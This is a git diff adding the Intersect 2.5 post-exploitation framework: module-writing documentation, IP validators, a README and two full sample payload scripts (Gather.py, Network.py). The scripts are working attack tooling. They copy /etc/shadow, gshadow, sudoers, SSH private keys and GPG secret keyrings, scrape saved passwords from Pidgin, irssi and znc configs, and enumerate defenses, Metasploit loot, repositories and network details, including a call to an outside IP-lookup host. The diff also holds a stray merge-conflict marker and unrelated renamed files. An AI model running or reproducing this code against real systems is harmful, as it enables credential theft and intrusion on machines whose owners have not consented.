PPORT proxy port defined using Create + variable: PKEY private cipher key defined using Create + variable: UTMP_FILEPATH "/var/run/utmp" + variable: WTMP_FILEPATH "/var/run/wtmp" + variable: LASTLOG_FILEPATH "/var/log/lastlog" + variable: Rand_Dir ''.join(random.choice(string.letters) for i in xrange(12)) + function: Shutdown() Checks for files in Temp_Dir. If no files exist, deletes directory. + function: signalHandler() Catch for Ctrl+C. Calls Shutdown() and exits script clean. + function: whereis(app) Checks system PATH for existence of app. + + + + + [ Importing Your Modules ] + +After you're done writing your module, you are going to want to import it into the framework so you can use it +within custom scripts and the Create application. This is very easy to do and can be done in one of two ways. + + +* Method One (manual) + + Simply copy or save the module you wish to import into the src/Modules/Custom/ directory. + After you've placed your module in the Custom directory, restart Create and you're all done. + + +* Method Two (via Create) + + 1. Execute Create.py and select option '3' from the main menu. + 3 => Load Plugin Module + 2. To import a local module that is stored on your system, select option '1' + 1 => Load module by filename + 2a. To download an import a module from a webserver, select option '2' + 2 => Download and import module + 3. Enter the full path of your locally stored module into the option '1' prompt. + This will copy the module from it's location into the src/Modules/Custom/ directory. + 3a. Enter the URL with filename into the option '2' prompt. + This will download the module from the specified webserver and save it to the src/Modules/Custom/ directory. + + If everything worked the way it should, you will see the following message and be returned to the Main Menu: + "[+] Module successfully loaded into the custom modules directory!" + + +<<<<<<< HEAD +======= + + +>>>>>>> 528f569ec22cc25259cbe6f12258205e2f68dbdf diff --git a/Intersect-2.5/Junk/is_valid_ipv4.py b/Intersect-2.5/Junk/is_valid_ipv4.py new file mode 100644 index 0000000..6701aa4 --- /dev/null +++ b/Intersect-2.5/Junk/is_valid_ipv4.py @@ -0,0 +1,36 @@ +def is_valid_ipv4(ip): + pattern = re.compile(r""" + ^ + (?: + # Dotted variants: + (?: + # Decimal 1-255 (no leading 0's) + [3-9]\d?|2(?:5[0-5]|[0-4]?\d)?|1\d{0,2} + | + 0x0*[0-9a-f]{1,2} # Hexadecimal 0x0 - 0xFF (possible leading 0's) + | + 0+[1-3]?[0-7]{0,2} # Octal 0 - 0377 (possible leading 0's) + ) + (?: # Repeat 0-3 times, separated by a dot + \. + (?: + [3-9]\d?|2(?:5[0-5]|[0-4]?\d)?|1\d{0,2} + | + 0x0*[0-9a-f]{1,2} + | + 0+[1-3]?[0-7]{0,2} + ) + ){0,3} + | + 0x0*[0-9a-f]{1,8} # Hexadecimal notation, 0x0 - 0xffffffff + | + 0+[0-3]?[0-7]{0,10} # Octal notation, 0 - 037777777777 + | + # Decimal notation, 1-4294967295: + 429496729[0-5]|42949672[0-8]\d|4294967[01]\d\d|429496[0-6]\d{3}| + 42949[0-5]\d{4}|4294[0-8]\d{5}|429[0-3]\d{6}|42[0-8]\d{7}| + 4[01]\d{8}|[1-3]\d{0,9}|[4-9]\d{0,8} + ) + $ + """, re.VERBOSE | re.IGNORECASE) + return pattern.match(ip) is not None diff --git a/Intersect-2.5/Junk/validip.py b/Intersect-2.5/Junk/validip.py new file mode 100644 index 0000000..8adce77 --- /dev/null +++ b/Intersect-2.5/Junk/validip.py @@ -0,0 +1,19 @@ +#!/usr/bin/python +#create valid ipv4 address + + +def valid_ip(ip): + parts = ip.split('.') + return ( + len(parts) == 4 + and all(part.isdigit() for part in parts) + and all(0 <= int(part) <= 255 for part in parts) + ) + +ip_address = raw_input("enter ip to check: ") +if valid_ip(ip_address) is True: + print ("valid ip!") +else: + print ("no!") + + diff --git a/Wappalyzer/drivers/firefox/data/images/icons/.gitkeep b/Intersect-2.5/Logs/ActivityLog similarity index 100% rename from Wappalyzer/drivers/firefox/data/images/icons/.gitkeep rename to Intersect-2.5/Logs/ActivityLog diff --git a/Wappalyzer/drivers/firefox/doc/main.md b/Intersect-2.5/Logs/build_log similarity index 100% rename from Wappalyzer/drivers/firefox/doc/main.md rename to Intersect-2.5/Logs/build_log diff --git a/Intersect-2.5/README b/Intersect-2.5/README new file mode 100644 index 0000000..22b8753 --- /dev/null +++ b/Intersect-2.5/README @@ -0,0 +1,43 @@ +Intersect 2.5 - Post Exploitation Framework +author: ohdae [bindshell@live.com] +website: http://bindshell.it.cx + https://github.com/ohdae/Intersect-2.5/ + http://www.twitter.com/bindshell_ + +NOTICE: See the documentation with the Docs directory for a detailed README, Guide documentation + and a How-To on writing custom modules. + + +LICENSE + +Copyright (c) 2012, Intersect 2.5 (Post-Exploitation Framework) +[author: bindshell@live.com] +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are met: + * Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + * Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + * Neither the name of the nor the + names of its contributors may be used to endorse or promote products + derived from this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND +ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL BE LIABLE FOR ANY +DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; +LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND +ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +Please take notice that Intersect 2.5 is provided as is, and is a royalty free open-source application. + +The end-user, you, is allowed to use, modify and/or change whatever you wish within this applications source-code, +provided that you will give appropriate credit where credit is due and the above license and copyright information +is included. diff --git a/Intersect-2.5/Scripts/Samples/Gather.py b/Intersect-2.5/Scripts/Samples/Gather.py new file mode 100644 index 0000000..5648b5d --- /dev/null +++ b/Intersect-2.5/Scripts/Samples/Gather.py @@ -0,0 +1,571 @@ +#!/usr/bin/python +# intersect 2.0 | created by ohdae +# copyright 2012 +# payload_template to be used with Create.py + +import sys, os, re, signal +from subprocess import Popen,PIPE,STDOUT,call +import platform +import shutil +import getopt +import tarfile +import socket +import urllib2 +import random, string +import logging +import struct +import getpass +import pwd +import thread +import base64 +import operator +import SocketServer, SimpleHTTPServer + +cut = lambda s: str(s).split("\0",1)[0] +logging.getLogger("scapy.runtime").setLevel(logging.ERROR) + +try: + from scapy.all import * +except ImportError: + try: + from scapy import * + except ImportError: + print("Scapy is not installed. It can be downloaded here => https://www.secdev.org/projects/scapy/\n") + +def environment(): + global Home_Dir + global Temp_Dir + global Config_Dir + global User_Ip_Address + global UTMP_STRUCT_SIZE + global LASTLOG_STRUCT_SIZE + global UTMP_FILEPATH + global WTMP_FILEPATH + global LASTLOG_FILEPATH + global distro + global distro2 + + ## Global variables for remote shells are defined during the creation process + ## Variables for Scrub module. Do not change unless you know what you're doing. + UTMP_STRUCT_SIZE = 384 + LASTLOG_STRUCT_SIZE = 292 + UTMP_FILEPATH = "/var/run/utmp" + WTMP_FILEPATH = "/var/log/wtmp" + LASTLOG_FILEPATH = "/var/log/lastlog" + + distro = os.uname()[1] + distro2 = platform.linux_distribution()[0] + + Home_Dir = os.environ['HOME'] + User_Ip_Address = socket.gethostbyname(socket.gethostname()) + + Rand_Dir = ''.join(random.choice(string.letters) for i in xrange(12)) + Temp_Dir = "/tmp/lift-"+"%s" % Rand_Dir + Config_Dir = Temp_Dir+"/configs/" + + if os.geteuid() != 0: + print("[*] Intersect should be executed as a root user. If you are not root, Intersect can check for privilege escalation vulnerabilites.") + print("[*] Enter '1' to check for possible vulnerabilities (privesc module must be loaded). Enter '99' to exit without checking.") + option = raw_input("=> " ) + if option == '1': + privesc() + sys.exit() + else: + sys.exit() + else: + pass + + signal.signal(signal.SIGINT, signalHandler) + + os.system("clear") + print("[+] Creating temporary working environment....") + + os.chdir(Home_Dir) + + if os.path.exists(Temp_Dir) is True: + os.system("rm -rf "+Temp_Dir) + + if os.path.exists(Temp_Dir) is False: + os.mkdir(Temp_Dir) + + print "[!] Reports will be saved in: %s" % Temp_Dir + + +def signalHandler(signal, frame): + print("[!] Ctrl-C caught, shutting down now"); + Shutdown() + + +def Shutdown(): + if not os.listdir(Temp_Dir): + os.rmdir(Temp_Dir) + sys.exit() + +def whereis(program): + for path in os.environ.get('PATH', '').split(':'): + if os.path.exists(os.path.join(path, program)) and \ + not os.path.isdir(os.path.join(path, program)): + return os.path.join(path, program) + return None + + +def copy2temp(filename, subdir=""): + if os.path.exists(filename) is True: + pass + if subdir == "" is True: + shutil.copy2(filename, Temp_Dir) + else: + if os.path.exists(Temp_Dir+"/"+subdir) is True: + subdir = (Temp_Dir+"/"+subdir) + shutil.copy2(filename, subdir) + elif os.path.exists(subdir) is True: + shutil.copy2(filename, subdir) + else: + subdir = (Temp_Dir+"/"+subdir) + os.mkdir(subdir) + shutil.copy2(filename, subdir) + else: + pass + +def write2file(filename, text): + if os.path.exists(filename) is True: + target = open(filename, "a") + target.write(text) + target.close() + else: + pass + +def writenew(filename, content): + new = open(filename, "a") + new.write(content) + new.close() + +def file2file(readfile, writefile): + if os.path.exists(readfile) is True: + readfile = open(readfile) + if os.path.exists(writefile) is True: + writefile = open(writefile, "a") + for lines in readfile.readlines(): + writefile.write(lines) + writefile.close() + readfile.close() + else: + readfile.close() + else: + pass + +def maketemp(subdir): + moddir = (Temp_Dir+"/"+subdir) + if os.path.exists(moddir) is False: + os.mkdir(moddir) + else: + pass + +def users(): + global userlist + userlist = [] + passwd = open('/etc/passwd') + for line in passwd: + fields = line.split(':') + uid = int(fields[2]) + if uid > 500 and uid < 32328: + userlist.append(fields[0]) + +def combinefiles(newfile, filelist): + content = '' + for f in filelist: + if os.path.exists(f) is True: + content = content + '\n' + open(f).read() + open(newfile,'wb').write(content) + else: + pass + +def tardir(name, directory): + tar = tarfile.open("%s.tar.gz", "w:gz" % name) + if os.path.exists(directory) is True: + tar.add("%s/" % directory) + print("[+] %s added to %s.tar.gz" % (name, directory)) + tar.close() + else: + print("[!] Could not find directory %s " % directory) + tar.close() + +def tarlist(name, filelist): + tar = tarfile.open("%s.tar.gz" % name, "w:gz") + for files in filelist: + if os.path.exists(files) is True: + tar.add(files) + else: + print("[!] %s not found. Skipping.." % files) + tar.close() + + print("[+] %s.tar.gz file created!" % name) + + + + +def globalvars(): + global PORT + global RHOST + global RPORT + global PPORT + global PKEY + global modList + + modList = ['archive', 'extras', 'osuser', 'getrepos', 'network', 'creds'] + PORT = 8888 + RHOST = '' + RPORT = 8888 + PPORT = 8080 + PKEY = 'KXYRTUX' +def archive(): + ''' + @description: Creates a tar archive of any files located within the Intersect sessions temporary directory + @short: create tar archive of sessions temp directory + @author: ohdae [bindshell@live.com] + ''' + + os.chdir(Temp_Dir) + temp_files = os.listdir(Temp_Dir) + tarlist("reports", temp_files) + + +def extras(): + ''' + @description: Searches for system, service and app configurations. Also tries to locate certain installed apps and protection measures. + @author: ohdae [bindshell@live.com] + @short: finds configs, security measures and misc apps + ''' + maketemp("extras") + protectiondir = (Temp_Dir+"/extras") + os.chdir(protectiondir) + os.mkdir(Config_Dir) + + + configs = [ "/etc/snort/snort.conf", "/etc/apache2/apache2.conf", "/etc/apache2/ports.conf", + "/etc/bitlbee/bitlbee.conf", "/etc/mysql/my.cnf", "/etc/ufw/ufw.conf", "/etc/ufw/sysctl.conf", + "/etc/security/access.conf", "/etc/security/sepermit.conf", "/etc/ca-certificates.conf", "/etc/apt/secring.gpg", + "/etc/apt/trusted.gpg", "/etc/nginx/nginx.conf", "/etc/shells", "/etc/gated.conf", "/etc/inetd.conf", "/etc/rpc", + "/etc/psad/psad.conf", "/etc/mysql/debian.cnf", "/etc/chkrootkit.conf", "/etc/logrotate.conf", "/etc/rkhunter.conf" + "/etc/samba/smb.conf", "/etc/ldap/ldap.conf", "/etc/openldap/ldap.conf", "/opt/lampp/etc/httpd.conf", "/etc/cups/cups.conf", + "/etc/exports", "/etc/fstab", "~/.msf4/history", "/etc/ssl/openssl.cnf" ] + + + for x in configs: + copy2temp(x, "configs") + + print("[+] Searching for protection and misc extras....") + program = [ "truecrypt", "bulldog", "ufw", "iptables", "logrotate", "logwatch", + "chkrootkit", "clamav", "snort", "tiger", "firestarter", "avast", "lynis", + "rkhunter", "perl", "tcpdump", "nc", "webmin", "python", "gcc", "jailkit", + "pwgen", "proxychains", "bastille", "wireshark", "nagios", "nmap", "firefox", + "nagios", "tor", "openvpn", "virtualbox", "magictree", "apparmor", "git", + "xen", "svn", "redmine", "ldap", "msfconsole" ] + + for x in program: + location = whereis(x) + if location is not None: + text = location + '\n' + writenew("FullList.txt", text) + + users() + + for user in userlist: + if os.path.exists("/home/%s/.msf4/" % user) is True: + os.system("ls -l /home/%s/.msf/loot > MSFLoot-%s.txt" % (user, user)) + if os.geteuid() == 0: + if os.path.exists("/root/.msf4/") is True: + os.system("ls -l /root/.msf4/loot > MSFLoot-root.txt") + + + +def osuser(): + ''' + @description: Enumerate Linux distro, kernel, installed apps and services, printers, cronjobs, user lists and history files, CPU and memory info, etc. + @author: ohdae [bindshell@live.com] + @short: enumerate user and system information + ''' + print("[+] Collecting operating system and user information....") + maketemp("osinfo") + os.chdir(Temp_Dir+"/osinfo/") + + proc = Popen('ps aux', + shell=True, + stdout=PIPE, + ) + output = proc.communicate()[0] + for items in output: + writenew("ps_aux.txt", items) + + os.system("ls -alh /usr/bin > bin.txt") + os.system("ls -alh /usr/sbin > sbin.txt") + os.system("ls -al /etc/cron* > cronjobs.txt") + os.system("ls -alhtr /media > media.txt") + os.system("/usr/bin/lpstat -v > printers.txt") + + if distro == "ubuntu" or distro2 == "Ubuntu": + os.system("dpkg -l > dpkg_list.txt") + elif distro == "arch" or distro2 == "Arch": + os.system("pacman -Q > pacman_list.txt") + elif distro == "slackware" or distro2 == "Slackware": + os.system("ls /var/log/packages > packages_list.txt") + elif distro == "gentoo" or distro2 == "Gentoo": + os.system("cat /var/lib/portage/world > packages.txt") + elif distro == "centos" or distro2 == "CentOS": + os.system("yum list installed > yum_list.txt") + elif distro == "red hat" or distro2 == "Red Hat": + os.system("rpm -qa > rpm_list.txt") + else: + pass + + if distro == "arch": + os.system("egrep '^DAEMONS' /etc/rc.conf > services_list.txt") + elif distro == "slackware": + os.system("ls -F /etc/rc.d | grep \'*$\' > services_list.txt") + elif whereis('chkconfig') is not None: + os.system("chkconfig -A > services_list.txt") + + os.system("mount -l > mount.txt") + os.system("cat /etc/sysctl.conf > sysctl.txt") + os.system("find /var/log -type f -exec ls -la {} \; > loglist.txt") + os.system("uname -a > distro_kernel.txt") + os.system("df -hT > filesystem.txt") + os.system("free -lt > memory.txt") + os.system("locate sql | grep [.]sql$ > SQL_locations.txt") + os.system("find /home -type f -iname '.*history' > HistoryList.txt") + os.system("cat /proc/cpuinfo > cpuinfo.txt") + os.system("cat /proc/meminfo > meminfo.txt") + + copy2temp(Home_Dir+"/.bash_history") + copy2temp(Home_Dir+"/.viminfo") + copy2temp(Home_Dir+"/.mysql_history") + + sysfiles = ["distro_kernel.txt","filesystem.txt","memory.txt","cpuinfo.txt","meminfo.txt"] + combinefiles("SysInfo.txt", sysfiles) + + maketemp("osinfo/users") + os.chdir("users/") + + os.system("ls -alhR ~/ > CurrentUser.txt") + os.system("ls -alhR /home > AllUsers.txt") + if os.path.exists(Home_Dir+"/.mozilla/") is True: + os.system("find "+Home_Dir+"/.mozilla -name bookmarks*.json > UsersBookmarks.txt") + + + +def getrepos(): + ''' + @description: Tries to find various source code repositories and management tools. Git, SVN. + @author: ohdae [bindshell@live.com] + @short: search for source code repos + ''' + os.mkdir(Temp_Dir+"/repos") + repodir = (Temp_Dir+"/repos") + os.chdir(repodir) + + users() + + if whereis('git') is not None: + for user in userlist: + if os.path.exists("/home/%s" % user) is True: + os.system("find /home/%s -name *.git > %sRepos.txt" % (user, user)) + proc = Popen('cat /home/%s/.gitconfig' % user, + shell=True, + stdout=PIPE, + ) + userinfo = proc.communicate()[0] + + if os.geteuid() == 0: + os.system("find /root -name *.git > RootRepos.txt") + proc = Popen('cat /root/.gitconfig', + shell = True, + stdout=PIPE, + ) + + output = proc.communicate()[0] + writenew("GitConfigs.txt", output + userinfo) + + if whereis('svn') is not None: + for user in userlist: + if os.path.exists("/home/%s" % user) is True: + os.system("/usr/bin/find /home/%s -name *.svn > SvnRepos.txt" % user) + +def network(): + ''' + @description: collects network information such as listening ports, DNS info, active connections, firewall rules, etc + @author: ohdae [bindshell@live.com] + @short: enumerate network info + ''' + print("[+] Collecting network info: services, ports, active connections, dns, gateways, etc...") + maketemp("network") + networkdir = Temp_Dir+"/network" + os.chdir(networkdir) + + proc = Popen('netstat --tcp --listening', + shell=True, + stdout=PIPE, + ) + output = proc.communicate()[0] + + file = open("nstat.txt","a") + for items in output: + file.write(items), + file.close() + + os.system("lsof -nPi > lsof.txt") + ports = ["nstat.txt","lsof.txt"] + combinefiles("Connections.txt", ports) + os.system("rm nstat.txt lsof.txt") + + if whereis('iptables') is not None: + os.system("iptables -L -n > iptablesLN.txt") + os.system("iptables-save > iptables_save.txt") + else: + pass + + os.system("ifconfig -a > ifconfig.txt") + + + if distro == "ubuntu" or distro2 == "Ubuntu" is True: + os.system("hostname -I > IPAddresses.txt") + else: + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + s.connect(("google.com",80)) + localIP = (s.getsockname()[0]) + s.close() + splitIP = localIP.split('.') + splitIP[3:] = (['0/24']) + IPRange = ".".join(splitIP) + externalIP = ip = urllib2.urlopen("http://myip.ozymo.com/").read() + text = ("External IP Address: " + externalIP + "\nInternal IP Address: " + localIP + "\nInternal IP Range: " + IPRange) + writenew("IPAddresses.txt", text) + + os.system("hostname -f > hostname.txt") + + netfiles = ["IPAddresses.txt","hostname.txt","ifconfig.txt"] + combinefiles("NetworkInfo.txt", netfiles) + os.system("rm IPAddresses.txt hostname.txt ifconfig.txt") + + network = [ "/etc/hosts.deny", "/etc/hosts.allow", "/etc/inetd.conf", "/etc/host.conf", "/etc/resolv.conf" ] + for x in network: + copy2temp(x, networkdir) + + + +def creds(): + ''' + @description: Gather user and system credentials. Looks for passwords, SSH keys, SSL certs, certain application creds, user histories and more. + @author: ohdae [bindshell@live.com] + @short: enumerate user and system credentials + ''' + print("[+] Collecting user and system credentials....") + maketemp("credentials") + os.chdir(Temp_Dir+"/credentials/") + + os.system('getent passwd > passwd.txt') + os.system('getent shadow > shadow.txt') + os.system("lastlog > lastlog.txt") + os.system("last -a > last.txt") + os.system("getent aliases > mail_aliases.txt") + + + os.system("find / -maxdepth 3 -name .ssh > ssh_locations.txt") + os.system("ls /home/*/.ssh/* > ssh_contents.txt") + sshfiles = ["ssh_locations.txt","ssh_contents.txt"] + combinefiles("SSH_Locations.txt", sshfiles) + os.system("rm ssh_locations.txt ssh_contents.txt") + if os.path.exists(Home_Dir+"/.bash_history") is True: + os.system("cat "+Home_Dir+"/.bash_history | grep ssh > SSH_History.txt") + + + credentials = [ "/etc/master.passwd", "/etc/sudoers", "/etc/ssh/sshd_config", Home_Dir+"/.ssh/id_dsa", Home_Dir+"/.ssh/id_dsa.pub", + Home_Dir+"/.ssh/id_rsa", Home_Dir+"/.ssh/id_rsa.pub", Home_Dir+"/.gnupg/secring.gpg", Home_Dir+"/.ssh/authorized_keys", + Home_Dir+"/.ssh/known_hosts", "/etc/gshadow", "/etc/ca-certificates.conf", "/etc/passwd" ] + for x in credentials: + copy2temp(x, "credentials") + + + users() + if whereis('pidgin') is not None: + for user in userlist: + if os.path.exists("/home/"+user+"/.purple/accounts.xml") is True: + accts = open("/home/"+user+"/.purple/accounts.xml") + saved = open("Pidgin.txt", "a") + for line in accts.readlines(): + if '' in line: + saved.write(line) + elif '' in line: + saved.write(line) + elif '' in line: + saved.write(line) + else: + pass + + accts.close() + saved.close() + + for user in userlist: + if os.path.exists("/home/"+user+"/.irssi/config") is True: + accts = open("/home/"+user+"/.irssi/config") + saved = open("irssi.txt", "a") + for line in accts.readlines(): + if "password = " in line: + saved.write(line) + else: + pass + accts.close() + saved.close() + + for user in userlist: + copy2temp("/home/"+user+"/.znc/configs/znc.conf") + + + + + +def usage(): + print('============================================') + print(' intersect 2.5 | custom version ') + print(' http://bindshell.it.cx | ohdae') + print(' Modules:') + print(' -a --archive create tar archive of sessions temp directory ') + print(' -e --extras finds configs, security measures and misc apps') + print(' -o --osuser enumerate user and system information') + print(' -g --getrepos search for source code repos') + print(' -n --network enumerate network info') + print(' -c --creds enumerate user and system credentials') + +def main(argv): + try: + opts, args = getopt.getopt(sys.argv[1:], 'aeognc', ['archive', 'extras', 'osuser', 'getrepos', 'network', 'creds', 'help']) + except getopt.GetoptError, err: + print str(err) + Shutdown() + for o, a in opts: + if o in ('-h', '--help'): + usage() + Shutdown() + sys.exit(2) + elif o in ('-a', '--archive'): + archive() + elif o in ('-e', '--extras'): + extras() + elif o in ('-o', '--osuser'): + osuser() + elif o in ('-g', '--getrepos'): + getrepos() + elif o in ('-n', '--network'): + network() + elif o in ('-c', '--creds'): + creds() + else: + assert False, 'unhandled option' + Shutdown() + + +globalvars() +environment() +if __name__ == "__main__": + if len(sys.argv) <=1: + usage() + main(sys.argv[1:]) diff --git a/Intersect-2.5/Scripts/Samples/Network.py b/Intersect-2.5/Scripts/Samples/Network.py new file mode 100644 index 0000000..7df1037 --- /dev/null +++ b/Intersect-2.5/Scripts/Samples/Network.py @@ -0,0 +1,494 @@ +#!/usr/bin/python +# intersect 2.0 | created by ohdae +# copyright 2012 +# payload_template to be used with Create.py + +import sys, os, re, signal +from subprocess import Popen,PIPE,STDOUT,call +import platform +import shutil +import getopt +import tarfile +import socket +import urllib2 +import random, string +import logging +import struct +import getpass +import pwd +import thread +import base64 +import operator +import SocketServer, SimpleHTTPServer + +cut = lambda s: str(s).split("\0",1)[0] +logging.getLogger("scapy.runtime").setLevel(logging.ERROR) + +try: + from scapy.all import * +except ImportError: + try: + from scapy import * + except ImportError: + print("Scapy is not installed. It can be downloaded here => https://www.secdev.org/projects/scapy/\n") + +def environment(): + global Home_Dir + global Temp_Dir + global Config_Dir + global User_Ip_Address + global UTMP_STRUCT_SIZE + global LASTLOG_STRUCT_SIZE + global UTMP_FILEPATH + global WTMP_FILEPATH + global LASTLOG_FILEPATH + global distro + global distro2 + + ## Global variables for remote shells are defined during the creation process + ## Variables for Scrub module. Do not change unless you know what you're doing. + UTMP_STRUCT_SIZE = 384 + LASTLOG_STRUCT_SIZE = 292 + UTMP_FILEPATH = "/var/run/utmp" + WTMP_FILEPATH = "/var/log/wtmp" + LASTLOG_FILEPATH = "/var/log/lastlog" + + distro = os.uname()[1] + distro2 = platform.linux_distribution()[0] + + Home_Dir = os.environ['HOME'] + User_Ip_Address = socket.gethostbyname(socket.gethostname()) + + Rand_Dir = ''.join(random.choice(string.letters) for i in xrange(12)) + Temp_Dir = "/tmp/lift-"+"%s" % Rand_Dir + Config_Dir = Temp_Dir+"/configs/" + + if os.geteuid() != 0: + print("[*] Intersect should be executed as a root user. If you are not root, Intersect can check for privilege escalation vulnerabilites.") + print("[*] Enter '1' to check for possible vulnerabilities (privesc module must be loaded). Enter '99' to exit without checking.") + option = raw_input("=> " ) + if option == '1': + privesc() + sys.exit() + else: + sys.exit() + else: + pass + + signal.signal(signal.SIGINT, signalHandler) + + os.system("clear") + print("[+] Creating temporary working environment....") + + os.chdir(Home_Dir) + + if os.path.exists(Temp_Dir) is True: + os.system("rm -rf "+Temp_Dir) + + if os.path.exists(Temp_Dir) is False: + os.mkdir(Temp_Dir) + + print "[!] Reports will be saved in: %s" % Temp_Dir + + +def signalHandler(signal, frame): + print("[!] Ctrl-C caught, shutting down now"); + Shutdown() + + +def Shutdown(): + if not os.listdir(Temp_Dir): + os.rmdir(Temp_Dir) + sys.exit() + +def whereis(program): + for path in os.environ.get('PATH', '').split(':'): + if os.path.exists(os.path.join(path, program)) and \ + not os.path.isdir(os.path.join(path, program)): + return os.path.join(path, program) + return None + + +def copy2temp(filename, subdir=""): + if os.path.exists(filename) is True: + pass + if subdir == "" is True: + shutil.copy2(filename, Temp_Dir) + else: + if os.path.exists(Temp_Dir+"/"+subdir) is True: + subdir = (Temp_Dir+"/"+subdir) + shutil.copy2(filename, subdir) + elif os.path.exists(subdir) is True: + shutil.copy2(filename, subdir) + else: + subdir = (Temp_Dir+"/"+subdir) + os.mkdir(subdir) + shutil.copy2(filename, subdir) + else: + pass + +def write2file(filename, text): + if os.path.exists(filename) is True: + target = open(filename, "a") + target.write(text) + target.close() + else: + pass + +def writenew(filename, content): + new = open(filename, "a") + new.write(content) + new.close() + +def file2file(readfile, writefile): + if os.path.exists(readfile) is True: + readfile = open(readfile) + if os.path.exists(writefile) is True: + writefile = open(writefile, "a") + for lines in readfile.readlines(): + writefile.write(lines) + writefile.close() + readfile.close() + else: + readfile.close() + else: + pass + +def maketemp(subdir): + moddir = (Temp_Dir+"/"+subdir) + if os.path.exists(moddir) is False: + os.mkdir(moddir) + else: + pass + +def users(): + global userlist + userlist = [] + passwd = open('/etc/passwd') + for line in passwd: + fields = line.split(':') + uid = int(fields[2]) + if uid > 500 and uid < 32328: + userlist.append(fields[0]) + +def combinefiles(newfile, filelist): + content = '' + for f in filelist: + if os.path.exists(f) is True: + content = content + '\n' + open(f).read() + open(newfile,'wb').write(content) + else: + pass + +def tardir(name, directory): + tar = tarfile.open("%s.tar.gz", "w:gz" % name) + if os.path.exists(directory) is True: + tar.add("%s/" % directory) + print("[+] %s added to %s.tar.gz" % (name, directory)) + tar.close() + else: + print("[!] Could not find directory %s " % directory) + tar.close() + +def tarlist(name, filelist): + tar = tarfile.open("%s.tar.gz" % name, "w:gz") + for files in filelist: + if os.path.exists(files) is True: + tar.add(files) + else: + print("[!] %s not found. Skipping.." % files) + tar.close() + + print("[+] %s.tar.gz file created!" % name) + + + + +def globalvars(): + global PORT + global RHOST + global RPORT + global PPORT + global PKEY + global modList + + modList = ['network', 'creds', 'egressbuster', 'openshares', 'portscan'] + PORT = 8888 + RHOST = '' + RPORT = 8888 + PPORT = 8080 + PKEY = 'KXYRTUX' +def network(): + ''' + @description: collects network information such as listening ports, DNS info, active connections, firewall rules, etc + @author: ohdae [bindshell@live.com] + @short: enumerate network info + ''' + print("[+] Collecting network info: services, ports, active connections, dns, gateways, etc...") + maketemp("network") + networkdir = Temp_Dir+"/network" + os.chdir(networkdir) + + proc = Popen('netstat --tcp --listening', + shell=True, + stdout=PIPE, + ) + output = proc.communicate()[0] + + file = open("nstat.txt","a") + for items in output: + file.write(items), + file.close() + + os.system("lsof -nPi > lsof.txt") + ports = ["nstat.txt","lsof.txt"] + combinefiles("Connections.txt", ports) + os.system("rm nstat.txt lsof.txt") + + if whereis('iptables') is not None: + os.system("iptables -L -n > iptablesLN.txt") + os.system("iptables-save > iptables_save.txt") + else: + pass + + os.system("ifconfig -a > ifconfig.txt") + + + if distro == "ubuntu" or distro2 == "Ubuntu" is True: + os.system("hostname -I > IPAddresses.txt") + else: + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + s.connect(("google.com",80)) + localIP = (s.getsockname()[0]) + s.close() + splitIP = localIP.split('.') + splitIP[3:] = (['0/24']) + IPRange = ".".join(splitIP) + externalIP = ip = urllib2.urlopen("http://myip.ozymo.com/").read() + text = ("External IP Address: " + externalIP + "\nInternal IP Address: " + localIP + "\nInternal IP Range: " + IPRange) + writenew("IPAddresses.txt", text) + + os.system("hostname -f > hostname.txt") + + netfiles = ["IPAddresses.txt","hostname.txt","ifconfig.txt"] + combinefiles("NetworkInfo.txt", netfiles) + os.system("rm IPAddresses.txt hostname.txt ifconfig.txt") + + network = [ "/etc/hosts.deny", "/etc/hosts.allow", "/etc/inetd.conf", "/etc/host.conf", "/etc/resolv.conf" ] + for x in network: + copy2temp(x, networkdir) + + + +def creds(): + ''' + @description: Gather user and system credentials. Looks for passwords, SSH keys, SSL certs, certain application creds, user histories and more. + @author: ohdae [bindshell@live.com] + @short: enumerate user and system credentials + ''' + print("[+] Collecting user and system credentials....") + maketemp("credentials") + os.chdir(Temp_Dir+"/credentials/") + + os.system('getent passwd > passwd.txt') + os.system('getent shadow > shadow.txt') + os.system("lastlog > lastlog.txt") + os.system("last -a > last.txt") + os.system("getent aliases > mail_aliases.txt") + + + os.system("find / -maxdepth 3 -name .ssh > ssh_locations.txt") + os.system("ls /home/*/.ssh/* > ssh_contents.txt") + sshfiles = ["ssh_locations.txt","ssh_contents.txt"] + combinefiles("SSH_Locations.txt", sshfiles) + os.system("rm ssh_locations.txt ssh_contents.txt") + if os.path.exists(Home_Dir+"/.bash_history") is True: + os.system("cat "+Home_Dir+"/.bash_history | grep ssh > SSH_History.txt") + + + credentials = [ "/etc/master.passwd", "/etc/sudoers", "/etc/ssh/sshd_config", Home_Dir+"/.ssh/id_dsa", Home_Dir+"/.ssh/id_dsa.pub", + Home_Dir+"/.ssh/id_rsa", Home_Dir+"/.ssh/id_rsa.pub", Home_Dir+"/.gnupg/secring.gpg", Home_Dir+"/.ssh/authorized_keys", + Home_Dir+"/.ssh/known_hosts", "/etc/gshadow", "/etc/ca-certificates.conf", "/etc/passwd" ] + for x in credentials: + copy2temp(x, "credentials") + + + users() + if whereis('pidgin') is not None: + for user in userlist: + if os.path.exists("/home/"+user+"/.purple/accounts.xml") is True: + accts = open("/home/"+user+"/.purple/accounts.xml") + saved = open("Pidgin.txt", "a") + 